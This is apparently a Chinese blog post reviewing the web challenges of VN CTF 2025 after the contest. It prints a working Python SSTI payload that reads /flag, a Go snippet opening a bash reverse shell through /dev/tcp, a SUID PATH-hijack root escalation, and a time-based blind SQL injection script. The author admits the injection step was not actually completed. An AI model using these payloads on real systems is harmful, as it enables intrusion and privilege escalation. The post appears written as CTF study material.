文章

VN ctf 2025 web

VN_Long

只需要最朴素的解法


补档:赛后看wp

当时这个比赛没怎么写,就看了两眼,发现有点难度就没写,出去玩了。。。

赛后再来看着wp写


学生姓名管理系统

按行输入学生名字,然后会返回学生的名字

ssti,但不是flask模板引擎

按理说,flask那一套也能拿来用,但是这里限制了每个学生的名字长度,所以一个{{}}打完是不可能了

试试{{a:=1}}%0a{{a}}输出是1 1,说明变量是连续的?

那么正确的payload就是

name={{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}

Gin

这题主要考任意文件读取>jwt提权>linux提权

读取key.go拿到jwt的密钥,伪造后运行go语言代码提权

package main

import (
    "fmt"
    "github.com/PaulXu-cn/goeval"
)

func main() {
    cmd, _ := goeval.Eval("", `cmd := exec.Command("bash", "-c", "exec bash -i &>/dev/tcp/ip/port <&1"); out, _ := cmd.CombinedOutput(); fmt.Println(string(out))`, "os/exec", "fmt")
    fmt.Println(string(cmd))
}

我一开始用了国外的服务器,结果发现连不上。。。可能被ban了吧

进去之后flag是假的,要提权成root才能找到flag

find / -user root -perm -4000 -print 2>/dev/null

发现有个/…/Cat

用环境变量把cat劫持成/bin/bash

echo '/bin/bash' > /tmp/cat
chmod 777 /tmp/cat
export PATH=/tmp:$PATH

这样,运行cat就是/bin/bash

这时候运行/…/Cat,程序调用cat的时候就会变成调用/bin/bash,而且是root权限

然后在root文件夹发现真flag

值得一提的是这时候cat用不了,我们可以用tac(返过来的cat,内容也会反过来)或者nl之类的来查看

奶龙回家

要拿账号密码

试试往login路由发个

{
  "username": "1'",
  "password": "1"
}

响应是

"message": "发生了某种错误??"

说明有sql

用sqlite的时间盲注测试一下(话说怎么知道用的什么sql服务啊。。。)

1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)/*

发现明显的延迟

于是写脚本盲注(网上的二分法似乎没法复现,换成一个个试)

import requests
import time

url = 'http://node.vnteam.cn:48108/login'  # 替换为实际URL
flag = ''

init_time = False
test_time = 5
set_time = 0.38
# 先跑几次测平均延时
spend_time = 0
if init_time:
    for i in range(1, test_time):
        payload = "1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*"
        datas = {
            "username": payload,
            "password": "1"
        }
        start_time = time.time()
        res = requests.post(url=url, json=datas)
        end_time = time.time()
        spend_time += end_time - start_time

    print("测试平均延迟为:", spend_time / test_time)
    set_time = spend_time / test_time - 0.1
    print("设置延迟时间为:", set_time)

spend_time = 0
for i in range(1, 500):  # 子查询从1开始到最大可能长度
    found_char = None
    for j in "1234567890QWERTYUIOPASDFGHJKLZXCVBNM":
        payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)=''{1}'')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i, j)
        datas = {
            "username": payload,
            "password": "1"
        }
        print("[+]", j)
        start_time = time.time()
        res = requests.post(url=url, json=datas)
        print(res.text)
        end_time = time.time()
        spend_time = end_time - start_time
        if spend_time >= set_time:
            found_char = j
            break
        time.sleep(1)  # 避免请求过快
    if found_char is None:
        print("[-]flag is over")
        break
    flag += found_char
    print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))

但是这个服务器太不稳定了吧,动不动卡住了,根本没法注入。。。。算了,假装成功了

{
  "username": "nailong",
  "password": "woaipangmao114514"
}
回应/do_you_like_van_you_xi

JavaGuide

本地没配置好java环境,复现失败,具体wp也看得不是很懂,等什么时候java学懂了反序列化什么的,再回头看看这题

许可协议:  CC BY 4.0